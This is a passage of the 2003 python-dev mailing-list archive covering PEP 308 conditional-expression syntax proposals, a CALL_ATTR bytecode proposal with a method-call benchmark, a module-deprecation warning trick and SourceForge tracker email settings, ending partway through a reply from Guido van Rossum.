by 'Default'". > > "and" case: > > arg = arg and 42 > > The meaning of this phrase is: > "If the user provided any argument that is true, use some > default value". > > arg = arg then 42 else arg > > would be the verbose replacement of this. > A short replacement would read better: > > arg = arg then 42 > > Summary: > -------- > "and" and "or" are behaving like logical operators. > They happen to do this by not providing a plain > truth value, but by promoting one of their operands. > > "and" and "or" are valid operators, when used in a > logical context, only, meaning only to use the truth > value. They have the side effect of carrying an operand, > which I regard as a design flaw, but this is bearable > when used properly. > > Using "and" and "or", when they are meant as "then" or "else" > should be deprectaed as bad style in the long term. > > Almost all instances of "and" and "or" used to carry a value > can be replaced by "then" or "else" with ease, which makes the > resulting code much more readable without prior knowledge. > > "and" and "or" do have a builtin perception of symmetry, > which is not related to the truth, and hard to explain to > newcomers. > Therefore, I propose to deprecate their use to promote > a value, and I propose to introduce "then" and "else" > as dual operators, together with the "then else" pair > as ternary operator, to be used in any context where > the inquiry should promote the right operand without > evaluating its truth value. > > Definition: > ----------- > > Here is my "cure" to "and" and "or" with side-effects: > > a then b > -------- > > is equivalent to > > def then_proc(a, b): > if a: > return b > else: > return a > > a else b > -------- > > is equivalent to > > def else_proc(a, b): > if a: > return a > else: > return b > > a then b else c > --------------- > > is equivalent to > > def then_else_proc(a, b, c): > if a: > return b > else: > return c > > "and" and "or" should be replaced by the above constructs, > in all contexts where "and" and "or" are not pure logical, > but are meant to propagate specific values, for all new code. > > kind regards -- chris > > p.s.: Please correct me positively, if I made a mistake at 4:15am The above defines two binary operators "then" and "else" and a ternary operator "then...else". The question which occurred to me is: Since the ternary operator is formed by what looks like two binary operators, can the action of the ternary operator be defined in terms of the actions of the two binary operators. In other words, does the expression: a then b else c # the ternary operator evaluate as either a then (b else c) # two binary operators or (a then b) else c # two binary operators The answer is *NO*, all three expressions evaluate to different results. More on that below. Now we are used to disambiguating expressions with multiple binary operators by considering the precedence and (left or right) associativity of the operators involved. That is (a-b-c) evaluates as (a-b)-c and (a+b*c) evaluates as a+(b*c). However, in this "then...else" expression, something which looks like (and could be legitimately parsed as) two binary operations, in fact cannot be disambiguated by either application of parentheses and must be treated as a ternary operator. That in itself is bad enough, but to be a complete definition of these operators, one must now define how, in a sequence of "then"s and "else's, the parser can tease out which form ternary "then...else" operators, and how those ternary "then...else" portions fit (precedence wise and associativity wise) with the other ternary "then...else"s and any remaining binary "then"s and "else"s. These rules, whatever thay may turn out to be, would probably be more complex than I'd like to see in Python. Here is a truth table for the three expressions. The table not only tells the truth value of the result, but shows, in parentheses, *which* term is returned to express that truth value. Note that the three columns R, S, and T all differ for at least some set if input values. a b c R S T --------------------------------- F F F F(c) F(a) F(c) F F T T(c) F(a) T(c) F T F F(c) F(a) F(c) F T T T(c) F(a) T(c) T F F F(b) F(c) F(c) T F T F(b) T(c) T(c) T T F T(b) T(b) T(b) T T T T(b) T(b) T(b) where R -> (a then b else c) S -> a then (b else c) T -> (a then b) else c Dr. Gary Herron gherron@islandtraining.com From mal@lemburg.com Fri Feb 14 10:07:56 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Fri, 14 Feb 2003 11:07:56 +0100 Subject: [Python-Dev] PEP 308: "then" "else" for deprecating "and" "or" side effects In-Reply-To: <3E4C5FBD.2070309@tismer.com> References: <3E4C5FBD.2070309@tismer.com> Message-ID: <3E4CBFFC.5090506@lemburg.com> Christian Tismer wrote: > Dear community, > > there has been some favor of my silly/simple a then b else c proposal. > > Please let me elaborate a little on this, with respect > to the existing "and" and "or operators. > > "and" and "or" are two-headed beasts: > At first glance, they pretend to be logical operators. > At second inspection, they do this logic by promoting > one of their operands. > > This is not obviously bad, and it is consistant with the logic. > > Due to the presence of a real boolean type, we > should ask ourselves if "and" and "or" shouldn't be > deprecated in their current meaning, towards being > "boolean only"? You are forgetting a detail here: "and" as well as "or" are not implemented as operators. "&" and "|" are the boolean operators and these do return boolean values. Note that you can't do "true" | "false" and then get "true" as result. What you get is a TypeError. "and" and "or" are control structures which test for truth values and then branch accordingly, leaving the true result on the stack. Constructs misusing "and" and "or" for the sake of inlining if-then-else should be reserved for those who know what they're doing (and can live with the consequences). Everybody else should really stick to the explicit: # value = x ? a : b if x: value = a else: value = b This is clean, shows exactly what you're doing and doesn't hide the flow of control from the reader: value = a is only executed in case x is found true. In that case the value = b branch is never entered into. As a result, side-effects in the value = b branch do not take effect. -- The tendency to let inling features creep into the language makes me a little nervous. The simplicity of Python is losing big with each new way to put more information on one line. This can be compared to lossy compression of an image: you can still grasp the general picture, but the details become unsharp and distored. Complexity should be reserved to what you write, not how you write it. -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 14 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 46 days left EuroPython 2003, Charleroi, Belgium: 130 days left From mwh@python.net Fri Feb 14 11:04:27 2003 From: mwh@python.net (Michael Hudson) Date: Fri, 14 Feb 2003 11:04:27 +0000 Subject: [Python-Dev] Changing SF tracker email preferences In-Reply-To: <200302131752.h1DHqCi00785@odiug.zope.com> (Guido van Rossum's message of "Thu, 13 Feb 2003 12:52:12 -0500") References: <200302131752.h1DHqCi00785@odiug.zope.com> Message-ID: <2mwuk3i0n8.fsf@starship.python.net> Guido van Rossum writes: > When a new bug or patch is posted to a SF tracker, an email gets sent > to python-bugs-list@python.org or patches@python.org. > The SF tracker admin has an option to allow this: all I have to do is > uncheck the box that says "Send email on all changes". I would really > like to do this. Is it possible to send updates to a different address than the notes of new bugs? Possibly with a bit of mailman wizardry? > Would anybody who is currently receiving bugs or patches traffic be > bothered if I made this change? Yes, for the same reasons as Tim. Cheers, M. -- > Look I don't know. Thankyou everyone for arguing me round in > circles. No need for thanks, ma'am; that's what we're here for. -- LNR & Michael M Mason, cam.misc From mwh@python.net Fri Feb 14 11:11:03 2003 From: mwh@python.net (Michael Hudson) Date: Fri, 14 Feb 2003 11:11:03 +0000 Subject: [Python-Dev] Change definition of Py_END_ALLOW_THREADS? In-Reply-To: ("Gerald S. Williams"'s message of "Thu, 13 Feb 2003 17:40:29 -0500") References: Message-ID: <2mu1f7i0c8.fsf@starship.python.net> "Gerald S. Williams" writes: >> I guess: >> Py_AUTO_THREAD_STATE_DECLARE >> Py_AUTO_THREAD_STATE_ENSURE >> Py_AUTO_THREAD_STATE_RELEASE >> >> would work. > > If you need the declaration, I'd vote for making it > explicit. I only suggested the macro for consistency > with what's been done before. What about no-thread builds? Or are these macros not for use in the core? [Tim] > Pragmatic company likes it: the braces make it very likely you'll > get cascades of baffling compile-time errors if you don't use the > BEGIN/END macros in matched pairs. That's better than cascades of > baffling runtime errors. At one point I had a patch up on sf that went if (something) Py_BEGIN_ALLOW_THREADS ioctl(stuff); if (something) Py_END_ALLOW_THREADS It compiled, at least. gotta-love-the-C-preprocessor-ly y'rs M. -- First time I've gotten a programming job that required a drug test. I was worried they were going to say "you don't have enough LSD in your system to do Unix programming". -- Paul Tomblin -- http://home.xnet.com/~raven/Sysadmin/ASR.Quotes.html From mwh@python.net Fri Feb 14 11:13:25 2003 From: mwh@python.net (Michael Hudson) Date: Fri, 14 Feb 2003 11:13:25 +0000 Subject: [Python-Dev] import curdir,pardir,sep,pathsep,defpath from relevant *path module In-Reply-To: <15948.4843.672889.97600@montanaro.dyndns.org> (Skip Montanaro's message of "Thu, 13 Feb 2003 15:49:31 -0600") References: <15948.4843.672889.97600@montanaro.dyndns.org> Message-ID: <2mr8abi08a.fsf@starship.python.net> Skip Montanaro writes: > Proposal: Move the definitions of curdir, pardir, sep, pathsep and defpath > into the relevant path module (ntpath, posixpath, etc), then for > compatibility reimport them ("from path import curdir, pardir, sep, pathsep, > defpath") later in os.py. Update the libref documentation to reflect these > items' new home. Do whatever is necessary deprecation-wise (silent in 2.3? > Update usage in Python source after 2.3 release and add visible deprecation > in 2.4?). I know Guido's squashed the idea, but how would you issue a warning on use of a module level global? Cheers, M. -- This makes it possible to pass complex object hierarchies to a C coder who thinks computer science has made no worthwhile advancements since the invention of the pointer. -- Gordon McMillan, 30 Jul 1998 From glyph@twistedmatrix.com Fri Feb 14 12:02:42 2003 From: glyph@twistedmatrix.com (Glyph Lefkowitz) Date: Fri, 14 Feb 2003 06:02:42 -0600 (CST) Subject: [Python-Dev] CALL_ATTR, A Method Proposal Message-ID: <20030214.060242.98857672.glyph@twistedmatrix.com> ----Security_Multipart0(Fri_Feb_14_06:02:42_2003_652)-- Content-Type: Multipart/Mixed; boundary="--Next_Part(Fri_Feb_14_06:02:42_2003_595)--" Content-Transfer-Encoding: 7bit ----Next_Part(Fri_Feb_14_06:02:42_2003_595)-- Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit I have an idea that may result in significant optimization of python. However, I have an incomplete understanding of what's involved, and I haven't had enough time to puzzle out enough of Python's internals to write up a full PEP describing this. Method calls appear are a full 20% slower (simple benchmark included) than function calls, and Python function calls are already pretty slow. By my understanding, one of the reasons for the difference is that if you have a method call like this: a = A() a.b() what's really happening is something along the lines of: temp = new.instancemethod(getattr(a.__class__, "b"), a, A) temp() free(temp) This causes an unnecessary memory allocation: since the instancemethod object is immediately being created, then called, then garbage collected. Looking at the output of dis.dis, I can see there are also 3 bytecodes being evaluated rather than 1. My proposal is to treat method calls as syntactically different from function calls. Rather than x.y() being completely synonymous with getattr(x, "y")(), it could be analogous to 'x.y = z' or 'del x.y'. For symmetry with these statement types, the new bytecode could be called CALL_ATTR. I think this is an important thing to consider as systems like Zope and Twisted move towards using component models and Interfaces in Python. The fact that direct function calls are so much faster puts efficiency directly at odds with structured flexibility. With a method call primitive comparable to function calls, most python code, especially in systems that make heavy use of inter-object communication patterns, would immediately get as much as a 15% speed boost. CALL_ATTR should be implementable with no impact on existing python code, except bytecode hacks. It should be possible to retain a fully backwards-compatible __getattr__ method, for places where method objects are used (including the C API). Likewise, the default __callattr__ could be set up to first check if __getattr__ is defined, then the instance's dictionary or __slots__. For additional speed gains, new-object-model classes could set '__fast_methods__ = True' and gain a semantic distinction between __getattr__ and __callattr__. Better still, I think that Jython could use the subtle semantic change to make Java reflection less expensive. (Java's `new' is more expensive than C's `malloc', after all.) I have a sneaking suspicion that this would also be good for security purposes. I haven't yet come up with a specific case where this is a big deal, but I think capability-style data-hiding would be simplified if filtering method-calls were different from filtering attributes. I hope this idea is useful to some of you, -- | <`'> | Glyph Lefkowitz: Traveling Sorcerer | | < _/ > | Lead Developer, the Twisted project | | < ___/ > | http://www.twistedmatrix.com | ----Next_Part(Fri_Feb_14_06:02:42_2003_595)-- Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="methods.py" import time class A: def b(self): pass def b(self): pass a = A() def wallclock(f): then = time.time() f() now = time.time() elapsed = now - then return elapsed NCALLS = 1000000 def methods(): for x in xrange(NCALLS): a.b() def functions(): for x in xrange(NCALLS): b(a) print wallclock(methods) print wallclock(functions) ----Next_Part(Fri_Feb_14_06:02:42_2003_595)-- Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="results.txt" % python2.0 methods.py 1.85362696648 1.47611200809 % python2.1 methods.py 1.21098303795 0.972733020782 % python2.2 methods.py 1.15857589245 0.914402961731 % jython methods.py 63.396000027656555 51.51300001144409 ----Next_Part(Fri_Feb_14_06:02:42_2003_595)---- ----Security_Multipart0(Fri_Feb_14_06:02:42_2003_652)-- Content-Type: application/pgp-signature Content-Transfer-Encoding: 7bit -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQA+TNrkvVGR4uSOE2wRAiwFAKCdjtbXx1yz4QN0uX4JOTsQwTQf/gCeOemO s2R3ZfWC3R4TREI8VULt/2o= =+8zq -----END PGP SIGNATURE----- ----Security_Multipart0(Fri_Feb_14_06:02:42_2003_652)---- From guido@python.org Fri Feb 14 12:13:28 2003 From: guido@python.org (Guido van Rossum) Date: Fri, 14 Feb 2003 07:13:28 -0500 Subject: [Python-Dev] Changing SF tracker email preferences In-Reply-To: "Your message of Fri, 14 Feb 2003 09:13:19 +0100." <3E4CA51F.6070306@lemburg.com> References: <200302131752.h1DHqCi00785@odiug.zope.com> <200302131838.h1DIcn101322@odiug.zope.com> <3E4CA51F.6070306@lemburg.com> Message-ID: <200302141213.h1ECDS131689@pcp02138704pcs.reston01.va.comcast.net> > >>>The SF tracker admin has an option to allow this: all I have to do is > >>>uncheck the box that says "Send email on all changes". I would really > >>>like to do this. > >>> > >>>Would anybody who is currently receiving bugs or patches traffic be > >>>bothered if I made this change? > >> > >>I find it sometimes interesting to receive these mails and read the > >>comments which are posted, I cannot decide from the item description > >>if I'm interested in this item or not. > > > > Hm... If you're the only one I'm inclined to overrule you. :-) > > You can have my -1 if that helps in deciding. OK, this is decided. (Actually, Tim's -1 already killed it. :-) > If you personally don't like to receive these extra mails, I'm sure > you can configure your mail program to filter these out, e.g. by > matching on "> Comment By:". Don't make assumptions on what my mail program (or anybody's mail program) can do. --Guido van Rossum (home page: http://www.python.org/~guido/) From mwh@python.net Fri Feb 14 12:25:43 2003 From: mwh@python.net (Michael Hudson) Date: Fri, 14 Feb 2003 12:25:43 +0000 Subject: [Python-Dev] CALL_ATTR, A Method Proposal In-Reply-To: <20030214.060242.98857672.glyph@twistedmatrix.com> (Glyph Lefkowitz's message of "Fri, 14 Feb 2003 06:02:42 -0600 (CST)") References: <20030214.060242.98857672.glyph@twistedmatrix.com> Message-ID: <2md6lvhwvs.fsf@starship.python.net> Glyph Lefkowitz writes: > I have an idea that may result in significant optimization of python. However, > I have an incomplete understanding of what's involved, and I haven't had enough > time to puzzle out enough of Python's internals to write up a full PEP > describing this. Gotta run, but: interesting! Would be more interesting if it was implemented :-) This is a roundabout way of saying that I don't think implementation will be entirely straightforward/there may be easier ways to speed up method calls. More later. Cheers, M. -- Strangely enough I saw just such a beast at the grocery store last night. Starbucks sells Javachip. (It's ice cream, but that shouldn't be an obstacle for the Java marketing people.) -- Jeremy Hylton, 29 Apr 1997 From guido@python.org Fri Feb 14 12:32:29 2003 From: guido@python.org (Guido van Rossum) Date: Fri, 14 Feb 2003 07:32:29 -0500 Subject: [Python-Dev] CALL_ATTR, A Method Proposal In-Reply-To: "Your message of Fri, 14 Feb 2003 06:02:42 CST." <20030214.060242.98857672.glyph@twistedmatrix.com> References: <20030214.060242.98857672.glyph@twistedmatrix.com> Message-ID: <200302141232.h1ECWTu31901@pcp02138704pcs.reston01.va.comcast.net> Yes, this has long been on my list of speed-ups. Does anybody have time to work on it? --Guido van Rossum (home page: http://www.python.org/~guido/) From theller@python.net Fri Feb 14 12:56:16 2003 From: theller@python.net (Thomas Heller) Date: 14 Feb 2003 13:56:16 +0100 Subject: [Python-Dev] CALL_ATTR, A Method Proposal In-Reply-To: <20030214.060242.98857672.glyph@twistedmatrix.com> References: <20030214.060242.98857672.glyph@twistedmatrix.com> Message-ID: Glyph Lefkowitz writes: > Method calls appear are a full 20% slower (simple benchmark included) than > function calls, and Python function calls are already pretty slow. By my > understanding, one of the reasons for the difference is that if you have a > method call like this: > > a = A() > a.b() > > what's really happening is something along the lines of: > > temp = new.instancemethod(getattr(a.__class__, "b"), a, A) > temp() > free(temp) > > This causes an unnecessary memory allocation: since the instancemethod object > is immediately being created, then called, then garbage collected. Looking at > the output of dis.dis, I can see there are also 3 bytecodes being evaluated > rather than 1. Can this allocation be avoided? Ahh, by the 'atomic' implementation of the single CALL_ATTR opcode, using a static allocated instancemethod instead of a new one? Is this what you have in mind? Thomas From bckfnn@worldonline.dk Fri Feb 14 13:02:34 2003 From: bckfnn@worldonline.dk (Finn Bock) Date: Fri, 14 Feb 2003 14:02:34 +0100 Subject: [Python-Dev] CALL_ATTR, A Method Proposal References: <20030214.060242.98857672.glyph@twistedmatrix.com> Message-ID: <3E4CE8EA.1080608@worldonline.dk> [Glyph Lefkowitz on __callattr__] > CALL_ATTR should be implementable with no impact on existing python code, > except bytecode hacks. It should be possible to retain a fully > backwards-compatible __getattr__ method, for places where method objects are > used (including the C API). Likewise, the default __callattr__ could be set up > to first check if __getattr__ is defined, then the instance's dictionary or > __slots__. For additional speed gains, new-object-model classes could set > '__fast_methods__ = True' and gain a semantic distinction between __getattr__ > and __callattr__. > > Better still, I think that Jython could use the subtle semantic change > to make Java reflection less expensive. (Java's `new' is more expensive than > C's `malloc', after all.) For the record, jython already have invoke(...) (what you call __callattr__) and uses it to optimize certain simple method calls on instances. It is not currently used to optimize calls into java reflection. Oh, as a cute aside, when I tried to run your timing program, I realized that the optimization had been disabled by mistake in CVS during the AST parse tree rewrite. Thanks for your help in pointing that out. Without the "invoke" optimization, I get these numbers: 2.865000009536743 1.7020000219345093 With the optimization added, I get this: 2.052999973297119 1.652999997138977 regards, finn From skip@pobox.com Fri Feb 14 13:44:47 2003 From: skip@pobox.com (Skip Montanaro) Date: Fri, 14 Feb 2003 07:44:47 -0600 Subject: [Python-Dev] import curdir,pardir,sep,pathsep,defpath from relevant *path module In-Reply-To: <2mr8abi08a.fsf@starship.python.net> References: <15948.4843.672889.97600@montanaro.dyndns.org> <2mr8abi08a.fsf@starship.python.net> Message-ID: <15948.62159.784139.294620@montanaro.dyndns.org> >> Do whatever is necessary deprecation-wise (silent in 2.3? Update >> usage in Python source after 2.3 release and add visible deprecation >> in 2.4?). Michael> I know Guido's squashed the idea, but how would you issue a Michael> warning on use of a module level global? I have no idea. If you can't think of a way to do it, it's probably not possible. ;-) Skip From jepler@unpythonic.net Fri Feb 14 14:16:23 2003 From: jepler@unpythonic.net (Jeff Epler) Date: Fri, 14 Feb 2003 08:16:23 -0600 Subject: [Python-Dev] import curdir,pardir,sep,pathsep,defpath from relevant *path module In-Reply-To: <2mr8abi08a.fsf@starship.python.net> References: <15948.4843.672889.97600@montanaro.dyndns.org> <2mr8abi08a.fsf@starship.python.net> Message-ID: <20030214141622.GA3765@unpythonic.net> On Fri, Feb 14, 2003 at 11:13:25AM +0000, Michael Hudson wrote: > I know Guido's squashed the idea, but how would you issue a warning on > use of a module level global? You could arrange to have a subclass of module that warns in __getattribute__: >>> os1 = reload(mwd).ModuleWithDeprecations('os', os, ['sep']) {} >>> os1.path >>> os1.sep __main__:1: DeprecationWarning: os.sep is deprecated '/' >>> os1.__deprecated__ {'sep': '/'} >>> 'sep' in dir(os1) 0 If ModuleWithDeprecations was coded in C, the performance impact (which would only occur on AttributeErrors) would probably be small, and no more than one test+branch for modules with nothing __deprecated__. import types import warnings class ModuleWithDeprecations(types.ModuleType): def __init__(self, name, module, deprecated): types.ModuleType.__init__(self, name) print self, self.__dict__ self.__dict__.update(module.__dict__) self.__deprecated__ = {} for item in deprecated: self.__deprecated__[item] = self.__dict__[item] del self.__dict__[item] def __getattribute__(self, attr): try: return types.ModuleType.__getattribute__(self, attr) except AttributeError: if attr in self.__deprecated__: warnings.warn("%s.%s is deprecated" % (self.__name__, attr), DeprecationWarning, 2) return self.__deprecated__[attr] else: raise From nas@python.ca Fri Feb 14 14:35:29 2003 From: nas@python.ca (Neil Schemenauer) Date: Fri, 14 Feb 2003 06:35:29 -0800 Subject: [Python-Dev] CALL_ATTR, A Method Proposal In-Reply-To: <200302141232.h1ECWTu31901@pcp02138704pcs.reston01.va.comcast.net> References: <20030214.060242.98857672.glyph@twistedmatrix.com> <200302141232.h1ECWTu31901@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <20030214143529.GA14078@glacier.arctrix.com> Guido van Rossum wrote: > Yes, this has long been on my list of speed-ups. Is this list public? > Does anybody have time to work on it? I'll put it on my list. :-) I've been working on implementing PEP 280 (or at least something like it). Neil From pinard@iro.umontreal.ca Fri Feb 14 14:34:27 2003 From: pinard@iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois_Pinard?=) Date: 14 Feb 2003 09:34:27 -0500 Subject: [Python-Dev] Re: PEP 308: "then" "else" for deprecating "and" "or" side effects In-Reply-To: <3E4C5FBD.2070309@tismer.com> References: <3E4C5FBD.2070309@tismer.com> Message-ID: [Christian Tismer] > Dear community, Nice way to salute! :-) > there has been some favor of my silly/simple a then b else c proposal. Not so long ago, I added a similar feature in an ad hoc language we created for one project (French and specialised syntax, and written under pressure). Strangely enough, it did not occur to me, before this morning, that there was some relation with this long thread in the Python universe. :-) If I translate the keywords of our syntax back to English, it gives: a when b else c with a chainable property not requiring parentheses: a when b else c when d else ... Our language is declarative (tinily functional) rather than imperative. Yet, the above writings are not far from the original Guido suggestion. I know I'm merely throwing yet another idea is this already overlong thread, which I did not even attempt to read wholly. Maybe the above has been suggested already. I've no intention whatsoever of pushing or defending it. My opinion on PEP 308 is that, whatever is done or not done, the key to the final decision should be the continued legibility of the Python language, much more than the tiny bit of added functionality. It just happens that for our little language, _not_ Python, the above has been received as quite natural and legible by the non-programmers in the project -- they used that language heavily for providing that knowledge base the project needed. -- François Pinard http://www.iro.umontreal.ca/~pinard From guido@python.org Fri Feb 14 14:39:48 2003 From: guido@python.org (Guido van Rossum) Date: Fri, 14 Feb 2003 09:39:48 -0500 Subject: [Python-Dev] CALL_ATTR, A Method Proposal In-Reply-To: Your message of "Fri, 14 Feb 2003 06:35:29 PST." <20030214143529.GA14078@glacier.arctrix.com> References: <20030214.060242.98857672.glyph@twistedmatrix.com> <200302141232.h1ECWTu31901@pcp02138704pcs.reston01.va.comcast.net> <20030214143529.GA14078@glacier.arctrix.com> Message-ID: <200302141439.h1EEdmZ21258@odiug.zope.com> > Guido van Rossum wrote: > > Yes, this has long been on my list of speed-ups. [Neil] > > Does anybody have time to work on it? No, you'd have to disassemble my brain and decode the connections between neurons... --Guido van Rossum (home page: http://www.python.org/~guido/) From mwh@python.net Fri Feb 14 14:56:50 2003 From: mwh@python.net (Michael Hudson) Date: Fri, 14 Feb 2003 14:56:50 +0000 Subject: [Python-Dev] import curdir,pardir,sep,pathsep,defpath from relevant *path module In-Reply-To: <20030214141622.GA3765@unpythonic.net> (Jeff Epler's message of "Fri, 14 Feb 2003 08:16:23 -0600") References: <15948.4843.672889.97600@montanaro.dyndns.org> <2mr8abi08a.fsf@starship.python.net> <20030214141622.GA3765@unpythonic.net> Message-ID: <2madgyj4gd.fsf@starship.python.net> Jeff Epler writes: > On Fri, Feb 14, 2003 at 11:13:25AM +0000, Michael Hudson wrote: >> I know Guido's squashed the idea, but how would you issue a warning on >> use of a module level global? > > You could arrange to have a subclass of module that warns in > __getattribute__: Well, yeah, but that's sick :-) Slightly more seriously, I would hope that a suggestion we use such import trickery on as fundamental a module as 'os' would be DOA. Cheers, M. -- Of the four project development variables - scope, cost, time and quality - quality isn't really a free variable. The only possible values are "excellent" and "insanely excellent", depending on whether lives are at stake. -- Kent Beck, XP Explained From carel.fellinger@chello.nl Fri Feb 14 15:32:21 2003 From: carel.fellinger@chello.nl (Carel Fellinger) Date: Fri, 14 Feb 2003 16:32:21 +0100 Subject: [Python-Dev] Re: PEP 308: "then" "else" for deprecating "and" "or" side effects In-Reply-To: References: <3E4C5FBD.2070309@tismer.com> Message-ID: <20030214153221.GA17996@mail.felnet> On Fri, Feb 14, 2003 at 09:34:27AM -0500, François Pinard wrote: ... > If I translate the keywords of our syntax back to English, it gives: > > a when b else c > > with a chainable property not requiring parentheses: > > a when b else c when d else ... ... > My opinion on PEP 308 is that, whatever is done or not done, the key to the > final decision should be the continued legibility of the Python language, hear hear! > much more than the tiny bit of added functionality. It just happens that > for our little language, _not_ Python, the above has been received as quite > natural and legible by the non-programmers in the project -- they used that > language heavily for providing that knowledge base the project needed. Does that little language of yours have an if-else statement? If so could you wrap it up in parens and make it an if-else expression and try it out on those non-programmers to see how they react to it? The best way to do this would be to ask them in person, then it's easier to see their reaction:) I for one would find it very interesting whether my findings with my twin daughters would prove more universal. They made it clear that statements aren't expressions, hence making an expression out of a statement by (merily) embracing it with parens might not be such a smart move after all. -- groetjes, carel From mrussell@verio.net Fri Feb 14 16:48:00 2003 From: mrussell@verio.net (Mark Russell) Date: Fri, 14 Feb 2003 16:48:00 +0000 Subject: [Python-Dev] PEP308 alternative syntax: bool method Message-ID: I know this subject has been beaten somewhat to death, but how about making the if/then/else operator a method of the bool type, as in: var = (x > 10).choose(ifyes, ifno) Choose() would need to be a special function of course to avoid evaluating the non-selected choice. I haven't seen this syntax proposed before, although I have not waded through all the debate in comp.lang.python. I would love to see some form of choice operator added, mainly because it supports a functional style of programming -- I very much like to initialise variables as they are introduced (and preferably not to assign to them later). Mark Russell From aahz@pythoncraft.com Fri Feb 14 16:50:29 2003 From: aahz@pythoncraft.com (Aahz) Date: Fri, 14 Feb 2003 11:50:29 -0500 Subject: [Python-Dev] PEP308 alternative syntax: bool method In-Reply-To: References: Message-ID: <20030214165029.GA16996@panix.com> On Fri, Feb 14, 2003, Mark Russell wrote: > > I know this subject has been beaten somewhat to death, but how about making > the if/then/else operator a method of the bool type, as in: > > var = (x > 10).choose(ifyes, ifno) > > Choose() would need to be a special function of course to avoid evaluating the > non-selected choice. I haven't seen this syntax proposed before, although I > have not waded through all the debate in comp.lang.python. Please do not clutter python-dev with any further discussion of PEP 308; Guido explicitly asked all discussion to move to c.l.py. -- Aahz (aahz@pythoncraft.com) <*> http://www.pythoncraft.com/ Register for PyCon now! http://www.python.org/pycon/reg.html From lalo@laranja.org Fri Feb 14 16:48:07 2003 From: lalo@laranja.org (Lalo Martins) Date: Fri, 14 Feb 2003 14:48:07 -0200 Subject: [Python-Dev] PEP 308: "then" "else" for deprecating "and" "or" side effects In-Reply-To: <3E4C5FBD.2070309@tismer.com> References: <3E4C5FBD.2070309@tismer.com> Message-ID: <20030214164806.GA4551@laranja.org> On Fri, Feb 14, 2003 at 04:17:17AM +0100, Christian Tismer wrote: > > arg = arg then 42 else "Default" > arg = arg else "Default" > arg = arg then 42 I feel the "then" above reads very funny; besides, as it isn't currently in python, it means a new keyword. Guido's proposal reads better, despite the funny ordering: arg = 42 if arg else "Default" If you have an idea of how to disambiguate it, then we could augment his with your binary ideas: arg = arg else "Default" arg = 42 if arg []s, |alo +---- -- Those who trade freedom for security lose both and deserve neither. -- http://www.laranja.org/ mailto:lalo@laranja.org pgp key: http://www.laranja.org/pessoal/pgp Eu jogo RPG! (I play RPG) http://www.eujogorpg.com.br/ GNU: never give up freedom http://www.gnu.org/ From skip@pobox.com Fri Feb 14 16:59:27 2003 From: skip@pobox.com (Skip Montanaro) Date: Fri, 14 Feb 2003 10:59:27 -0600 Subject: [Python-Dev] PEP308 alternative syntax: bool method In-Reply-To: References: Message-ID: <15949.8303.715487.569029@montanaro.dyndns.org> Mark> var = (x > 10).choose(ifyes, ifno) Still no short-circuit. "ifyes" and "ifno" are both evaluated independent of the value of the boolean expression. Skip From pinard@iro.umontreal.ca Fri Feb 14 17:57:33 2003 From: pinard@iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois_Pinard?=) Date: 14 Feb 2003 12:57:33 -0500 Subject: [Python-Dev] Re: PEP 308: "then" "else" for deprecating "and" "or" side effects In-Reply-To: <20030214153221.GA17996@mail.felnet> References: <3E4C5FBD.2070309@tismer.com> <20030214153221.GA17996@mail.felnet> Message-ID: [Carel Fellinger] > Does that little language of yours have an if-else statement? No, sorry. This is not an imperative language. The `... when ... else' is the closest we have to an imperative `if else'. -------------------- Let me chat a bit. We use the little language to describe fairly complex relations of prerequisites for a selection and matching subsystem -- and no, not at all, we are not in the sex industry! :-). The data gets compiled into forms, which are then quite optimised for efficient evaluation. The language, optimiser and evaluator have all been implemented in Python. The legibility and cleanness of Python, also helped with our little language, allowed such a clear expression of the problem that it was easy to add new optimisations, unthought with the previous implementations in PL/I or C. The current setup even compares favourably speed-wise, wiping out most doubts and concerns of old-timers, here. The net effect is an administrative decision that all projects are likely to be developed in Python, from now on. Surely very pleasurable for me! :-) -- François Pinard http://www.iro.umontreal.ca/~pinard From gsw@agere.com Fri Feb 14 17:54:45 2003 From: gsw@agere.com (Gerald S. Williams) Date: Fri, 14 Feb 2003 12:54:45 -0500 Subject: [Python-Dev] non-binary operators In-Reply-To: <20030214100701.28472.76980.Mailman@mail.python.org> Message-ID: I'm *not* discussing PEP 308, since that's supposed to be happening on c.l.py. The operator names have been changed to protect the innocent. :-) Gary Herron wrote: > The above defines two binary operators "[POINTED]" and > "[STICK]" and a ternary operator "[POINTED]...[STICK]". [...] > can the action of the ternary operator be defined in > terms of the actions of the two binary operators? [...] > The answer is *NO*, all three expressions evaluate to > different results. Why is that any different from the following set, which are already three different expressions in Python? ( bunch_of_grapes < banana ) < pointed_stick bunch_of_grapes < ( banana < pointed_stick ) bunch_of_grapes < banana < pointed_stick -Jerry From guido@python.org Fri Feb 14 18:01:48 2003 From: guido@python.org (Guido van Rossum) Date: Fri, 14 Feb 2003 13:01:48 -0500 Subject: [Python-Dev] CALL_ATTR, A Method Proposal In-Reply-To: Your message of "Fri, 14 Feb 2003 06:02:42 CST." <20030214.060242.98857672.glyph@twistedmatrix.com> References: <20030214.060242.98857672.glyph@twistedmatrix.com> Message-ID: <200302141801.h1EI1mJ03013@odiug.zope.com> > My proposal is to treat method calls as syntactically different from > function calls. Rather than x.y() being completely synonymous with > getattr(x, "y")(), it could be analogous to 'x.y = z' or 'del x.y'. > For symmetry with these statement types, the new bytecode could be > called CALL_ATTR. I'm not sure exactly what you're proposing here. I'm all for making the bytecode compiler recognize the special case .(), and emitting a special bytecode for it that can be executed more efficiently in the common case. But I want the semantic *definition* to be unchanged: it should really mean the same thing as gettattr(, "")( is a new instance: if the class's getattr policy is standard: if not in .__dict__: search .__class__ and its base classes for if found and the result is a Python function: call it with arguments (, ) and return elif is a classic instance: if not in .__dict__: search .__class__ and its base classes for if found and the result is a Python function: call it with arguments (, ) 